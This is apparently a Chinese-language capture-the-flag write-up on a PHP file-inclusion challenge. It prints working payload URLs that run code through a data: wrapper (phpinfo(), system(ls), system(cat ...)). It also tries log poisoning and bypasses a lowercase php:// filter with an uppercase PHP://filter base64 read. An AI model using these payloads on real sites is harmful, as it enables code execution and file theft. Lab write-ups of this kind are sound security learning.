題目
從給出的代碼來看,參數名是page,並且過濾了php協議。正好之前學過文件包含漏洞,看能不能學以致用。。。
解題過程
輸入:http://111.198.29.45:54883/index.php?page=data:text/plain,%3C?php%20phpinfo();?%3E
返回phpinfo頁面,並找到了apache日志的路徑:
嘗試訪問一下日志文件,如果能訪問的話,就可以像https://www.cnblogs.com/sallyzhang/p/12221089.html里那樣,利用日志來注入
輸入:http://111.198.29.45:54883/index.php?page=日志路徑/日志文件名
錯誤日志和訪問日志都沒法訪問到,應該是木有訪問權限,這條路不通。
接下來使用PHP偽協議,php://已經被過濾了(hmmm......這其實是不是在側面提醒咱要用協議來解題啊 >_<,抱歉我才反應過來...)
輸入:http://111.198.29.45:54883/index.php?page=data:text/plain,<?php system(ls);?>
返回了一個叫fl4g.....php的可疑文件
輸入:http://111.198.29.45:54883/index.php?page=data:text/plain,<?php system(cat fl4gisisish3r3.php);?>
返回:500(再用base64編碼試了下,還是返回500)
換成這個: http://111.198.29.45:54883/index.php?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php (代碼過濾了php://,但沒有過濾PHP:// ^_^)
讀取成功,解碼得到flag。